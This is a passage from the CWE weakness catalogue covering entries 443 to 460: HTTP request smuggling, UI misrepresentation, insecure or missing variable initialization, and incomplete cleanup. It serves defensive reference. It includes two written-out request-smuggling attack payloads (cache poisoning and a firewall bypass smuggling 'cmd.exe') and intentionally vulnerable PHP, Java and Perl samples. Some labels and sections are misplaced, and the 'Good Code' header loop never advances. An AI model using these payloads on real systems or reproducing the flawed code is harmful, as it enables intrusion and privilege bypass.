CWE-443: DEPRECATED (Duplicate): HTTP response splitting

Weakness ID: 443 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This weakness can be found at CWE-113.

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

Weakness ID: 444 *(Weakness Base)* **Status:** Incomplete

Description

Summary

When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to "smuggle" a request to one device without the other device being aware of it.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Non-Repudiation
Access Control
Unexpected state
Hide activities
Bypass protection mechanism

An attacker could create a request to exploit a number of weaknesses including 1) the request can trick the web server to associate a URL with another URLs webpage and caching the contents of the webpage (web cache poisoning attack), 2) the request can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the request can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).

Demonstrative Examples

Example 1:

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

Attack

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
```

```
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 44
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

When this request is sent to the proxy server, the proxy server parses the POST request in the first seven lines, and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in the next three lines that contain exactly 44 bytes as the first request's body. The proxy then parses the last three lines which it treats as the client's second request.

The request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body, and the second request is the line with the first GET (note that the second GET is parsed by the web server as the value of the "Bla" header).

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client "POST /foobar.html" and "GET /page_to_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server some protection against this type of attack can be achieved by installing a web application firewall, or use a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

Java Example: *Good Code*

```java
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
  // Set up response writer object
  ...
  try {
    // check for multiple content length headers
    Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
    int count = 0;
    while (contentLengthHeaders.hasMoreElements()) {
      count++;
    }
    if (count > 1) {
      // output error response
    }
    else {
      // process request
    }
  } catch (Exception ex) {...}
}
```

Example 2:

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system..

Attack

```
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

```
Content-Length: 49223
zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
Content-Length: 30
POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive
```

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

Observed Examples

Reference	Description
CVE-2005-2088	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2089	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2090	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2091	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2092	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2093	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2094	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.

Potential Mitigations

Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [R.444.1].

Implementation

Use only SSL communication.

Implementation

Terminate the client session after each request.

System Configuration

Turn all pages to non-cacheable.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	436	Interpretation Conflict	**1000** **1003**	751
ChildOf	C	442	Web Problems	**699**	757
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	**888**	1392

Nature	Type	ID	Name	V	Page
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Theoretical Notes

Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).

CWE-445: DEPRECATED: User Interface Errors

Category ID: 445 *(Deprecated Category)* **Status:** Deprecated

Description

Summary

This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.

CWE-446: UI Discrepancy for Security Feature

Weakness ID: 446 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

Extended Description

When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a "restrict ALL'" access control rule, but the software only implements "restrict SOME".

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-451: User Interface (UI) Misrepresentation of Critical Information

Weakness ID: 451 *(Weakness Base)* **Status:** Draft

Description

Summary

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

Extended Description

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

Incorrect indicator: incorrect information is displayed, which prevents the user from understanding the true state of the software or the environment the software is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.

Overlay: an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.

Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)

Timing: the software is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.

Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.

Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.

Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Non-Repudiation
Access Control
Hide activities
Bypass protection mechanism

Observed Examples

Reference	Description
CVE-2001-0398	Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant.
CVE-2001-0643	Misrepresentation and equivalence issue.
CVE-2001-1410	Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method.
CVE-2002-0197	Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate.
CVE-2002-0722	Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialogue box.
CVE-2003-1025	Visual truncation: Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar.
CVE-2004-0537	Overlay: Wide "favorites" icon can overlay and obscure address bar
CVE-2004-0761	Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted.
CVE-2004-1104	Incorrect indicator: web browser can be tricked into presenting the wrong URL
CVE-2004-145	Visual truncation: Null character in URL prevents entire URL from being displayed in web browser.
CVE-2004-2219	Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar.
CVE-2004-2227	Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions.
CVE-2004-2258	Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab.
CVE-2004-2530	Visual truncation: Visual truncation in chat client using whitespace to hide dangerous file extension.
CVE-2005-0143	Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site.
CVE-2005-0144	Incorrect indicator: Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel.
CVE-2005-0243	Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions.
CVE-2005-0590	Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname.
CVE-2005-0593	Lock spoofing from several different weaknesses.
CVE-2005-0831	Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters.
CVE-2005-1575	Visual truncation: Web browser file download type can be hidden using whitespace.
CVE-2005-1678	Miscellaneous -- Dangerous file extensions not displayed.
CVE-2005-2271	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?

Reference	Description
CVE-2005-2272	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
CVE-2005-2273	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
CVE-2005-2274	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
OSVDB:5703	Overlay: GUI overlay can trick a user into clicking on a prompt for a dangerous activity.
OSVDB:6009	Visual truncation: web browser obscures URLs using a large amount of whitespace.

Potential Mitigations

Implementation

Input Validation

Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

Architecture and Design

Output Encoding

Create a strategy for presenting information, and plan for how to display unusual characters.

Relationships

Nature	Type	ID	Name	V	Page

Research Gaps

Most of these initialization errors are significant factors in other weaknesses. Researchers tend to ignore these, concentrating instead on the resultant weaknesses, so their frequency is uncertain, at least based on published vulnerabilities.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Initialization and Cleanup Errors

CWE-453: Insecure Default Variable Initialization

Weakness ID: 453 *(Weakness Base)* **Status:** Draft

Description

Summary

The software, by default, initializes an internal variable with an insecure or less secure value than is possible.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- PHP *(Sometimes)*
- All

Common Consequences

Integrity

Modify application data

An attacker could gain access to and modify sensitive data or system information.

Demonstrative Examples

This code attempts to login a user using credentials from a POST request:

PHP Example: *Bad Code*

```
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
  $authorized = true;
}
...
if ($authorized) {
  generatePage();
}
```

Because the $authorized variable is never initialized, PHP will automatically set $authorized to any value included in the POST request if register_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

PHP Example: *Bad Code*

```
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
  $authorized = true;
}
...
```

This code avoids the issue by initializing the $authorized variable to false and explicitly retrieving the login credentials from the $_POST variable. Regardless, register_globals should never be enabled and is disabled by default in current versions of PHP.

Potential Mitigations

System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	767
ChildOf	C	665	Improper Initialization	**1000**	1029
ChildOf	C	966	SFP Secondary Cluster: Other Exposures	**888**	1383
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insecure default variable initialization

Maintenance Notes

This overlaps other categories, probably should be split into separate items.

CWE-454: External Initialization of Trusted Variables or Data Stores

Weakness ID: 454 *(Weakness Base)* **Status:** Draft

Description

Summary

The software initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

Extended Description

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- PHP *(Sometimes)*
- Language-independent

Platform Notes

Common Consequences

Integrity
Modify application data

An attacker could gain access to and modify sensitive data or system information.

Demonstrative Examples

Example 1:

In the Java example below, a system property controls the debug level of the application.

Java Example: *Bad Code*

```
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/ exposed as the debug level increases.

Example 2:

This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

PHP Example: *Bad Code*

```
$debugEnabled = false;
if ($_POST["debug"] == "true"){
  $debugEnabled = true;
}
/.../
function login($username, $password){
  if($debugEnabled){
    echo 'Debug Activated';
    phpinfo();
    $isAdmin = True;
    return True;
  }
}
```

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .

This example also exhibits Information Exposure Through Debug Information (CWE-215)

Observed Examples

Reference	Description
CVE-2000-0959	Does not clear dangerous environment variables, enabling symlink attack.
CVE-2001-0033	Specify alternate configuration directory in environment variable, enabling untrusted path.
CVE-2001-0084	Specify arbitrary modules using environment variable.
CVE-2001-0872	Dangerous environment variable not cleansed.

Potential Mitigations

Implementation
Input Validation

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using a whitelist, and use a different namespace or naming convention if possible.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	767
CanAlsoBe	B	456	Missing Initialization of a Variable	1000	772
ChildOf	C	665	Improper Initialization	**1000**	1029

ChildOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	**888**	1396
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Relationship Notes

Overlaps Missing variable initialization, especially in PHP.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		External initialization of trusted variables or values
Software Fault Patterns	SFP25	Tainted input to variable

CWE-455: Non-exit on Failed Initialization

Weakness ID: 455 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error, which can cause the software to execute in a less secure fashion than intended by the administrator.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Other
Modify application data
Alter execution logic

The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.

Demonstrative Examples

The following code intends to limit certain operations to the administrator only.

Perl Example: *Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
  $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
  DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Observed Examples

Reference	Description
CVE-2005-1345	Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file.

Potential Mitigations

Implementation

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	**699**	767

ChildOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	**888**	1380
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Research Gaps

Under-studied. These issues are not frequently reported, and it is difficult to find published examples.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Non-exit on Failed Initialization

CWE-456: Missing Initialization of a Variable

Weakness ID: 456 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not initialize critical variables, which causes the execution environment to use unexpected values.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Integrity
Other
Unexpected state
Quality degradation
Varies by context

The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.

Demonstrative Examples

Example 1:

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

Java Example: *Bad Code*

```
private User user;
public void someMethod() {
  // Do something interesting.
  ...
  // Throws NPE if user hasn't been properly initialized.
  String username = user.getName();
}
```

Example 2:

This code first authenticates a user, then allows a delete command if the user is an administrator.

PHP Example: *Bad Code*

```
if (authenticate($username,$password) && setAdmin($username)){
  $isAdmin = true;
}
/.../
if ($isAdmin){
  deleteUser($userToDelete);
```

```
}
```

The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true.

Example 3:

In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.

Java Example: *Bad Code*

```
public class BankManager {
  // user allowed to perform bank manager tasks
  private User user = null;
  private boolean isUserAuthentic = false;
  // constructor for BankManager class
  public BankManager() {
    ...
  }
  // retrieve user from database of users
  public User getUserFromUserDatabase(String username){
    ...
  }
  // set user variable using username
  public void setUser(String username) {
    this.user = getUserFromUserDatabase(username);
  }
  // authenticate user
  public boolean authenticateUser(String username, String password) {
    if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
      isUserAuthentic = true;
    }
    return isUserAuthentic;
  }
  // methods for performing bank manager tasks
  ...
}
```

However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.

Java Example: *Good Code*

```
public class BankManager {
  // user allowed to perform bank manager tasks
  private User user = null;
  private boolean isUserAuthentic = false;
  // constructor for BankManager class
  public BankManager(String username) {
    user = getUserFromUserDatabase(username);
  }
  // retrieve user from database of users
  public User getUserFromUserDatabase(String username) {...}
  // authenticate user
  public boolean authenticateUser(String username, String password) {
    if (user == null) {
      System.out.println("Cannot find user " + username);
    }
    else {
      if (password.equals(user.getPassword())) {
        isUserAuthentic = true;
      }
    }
    return isUserAuthentic;
  }
    // methods for performing bank manager tasks
```

```
    ...
}
```

Observed Examples

Reference	Description
CVE-2005-2109	Internal variable in PHP application is not initialized, allowing external modification.
CVE-2005-2193	Array variable not initialized in PHP application, leading to resultant SQL injection.
CVE-2005-2978	Product uses uninitialized variables for size and index, leading to resultant buffer overflow.

Potential Mitigations

Implementation

Check that critical variables are initialized.

Testing

Use a static analysis tool to spot non-initialized variables.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1000	159
CanPrecede	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000	184
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	234

ChildOf	C	867	2011 Top 25 - Weaknesses On the Cusp	**900**	1314
ChildOf	B	909	Missing Initialization of Resource	**1000**	1336
ChildOf	C	998	SFP Secondary Cluster: Glitch in Computation	**888**	1397
CanAlsoBe	B	*454*	*External Initialization of Trusted Variables or Data Stores*	*1000*	*769*
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Relationship Notes

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Research Gaps

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Initialization
Software Fault Patterns	SFP1	Glitch in computation

CWE-457: Use of Uninitialized Variable

Weakness ID: 457 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked.

An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*
- Perl *(Often)*
- PHP *(Often)*
- Language-independent

Modes of Introduction

In C, using an uninitialized char * in some string libraries will return incorrect results, as the libraries expect the null terminator to always be at the end of a string, even if the string is empty.

Common Consequences

Availability
Integrity
Other
Other

Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.

Authorization
Other
Other

Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

This code prints a greeting using information stored in a POST request:

PHP Example: *Bad Code*

```
if (isset($_POST['names'])) {
  $nameArray = $_POST['names'];
}
echo "Hello " . $nameArray['first'];
```

This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

Example 2:

The following switch statement is intended to set the values of the variables aN and bN before they are used:

C Example: *Bad Code*

```
int aN, Bn;
switch (ctl) {
  case -1:
    aN = 0;
    bN = 0;
    break;
```

```
  case 0:
    aN = i;
    bN = -i;
    break;
  case 1:
    aN = i + NEXT_SZ;
    bN = i - NEXT_SZ;
    break;
  default:
    aN = -1;
    aN = -1;
    break;
}
repaint(aN, bN);
```

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

Observed Examples

Reference	Description
CVE-2007-2728	Uninitialized random seed variable used.
CVE-2007-3468	Crafted audio file triggers crash when an uninitialized variable is used.
CVE-2007-4682	Crafted input triggers dereference of an uninitialized object pointer.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.

Potential Mitigations

Implementation

Identify and Reduce Attack Surface

Assign all variables to an initial value.

Build and Compilation

Compilation or Build Hardening

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Implementation

Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

Requirements

The choice could be made to use a language that is not susceptible to these issues.

Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

CWE-458: DEPRECATED: Incorrect Initialization

Weakness ID: 458 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

CWE-459: Incomplete Cleanup

Weakness ID: 459 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly "clean up" and remove temporary or supporting resources after they have been used.

Alternate Terms

Insufficient Cleanup

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Other
Confidentiality
Integrity
Other
Read application data
Modify application data
DoS: resource consumption (other)

It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.

Demonstrative Examples

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

Java Example: *Bad Code*

```
try {
  InputStream is = new FileInputStream(path);
  byte b[] = new byte[is.available()];
  is.read(b);
  is.close();
} catch (Throwable t) {
  log.error("Something bad happened: " + t.getMessage());
}
```

Observed Examples

Reference	Description
CVE-2000-0552	World-readable temporary file not deleted after use.
CVE-2002-0788	Interaction error creates a temporary file that can not be deleted due to strong permissions.
CVE-2002-2066	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2067	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2068	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2069	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2070	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2005-1744	Users not logged out when application is restarted after security-relevant changes were made.
CVE-2005-2293	Temporary file not deleted after use, leaking database usernames and passwords.

Potential Mitigations

Architecture and Design

Implementation

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	404	Improper Resource Shutdown or Release	**1000**	700
ChildOf	C	452	Initialization and Cleanup Errors	**699**	767
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	1123
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	**844**	1300
ChildOf	C	982	SFP Secondary Cluster: Failure to Release Resource	**888**	1389
ParentOf	B	*226*	*Sensitive Information Uncleared Before Release*	***1000***	*417*
ParentOf	V	*460*	*Improper Cleanup on Thrown Exception*	***1000***	*779*
ParentOf	V	*568*	*finalize() Method Without super.finalize()*	***1000***	*907*

Relationship Notes

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

Functional Areas

- File processing

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Cleanup
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT Java Secure Coding	FIO04-J		Release resources when they are no longer needed
CERT Java Secure Coding	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP14		Failure to release resource

CWE-460: Improper Cleanup on Thrown Exception

Weakness ID: 460 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.

Extended Description

Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Other

Varies by context

The code could be left in a bad state.

Likelihood of Exploit

Medium

Demonstrative Examples

C++/Java Example: *Bad Code*

```
public class foo {
  public static final void main( String args[] ) {
    boolean returnValue;
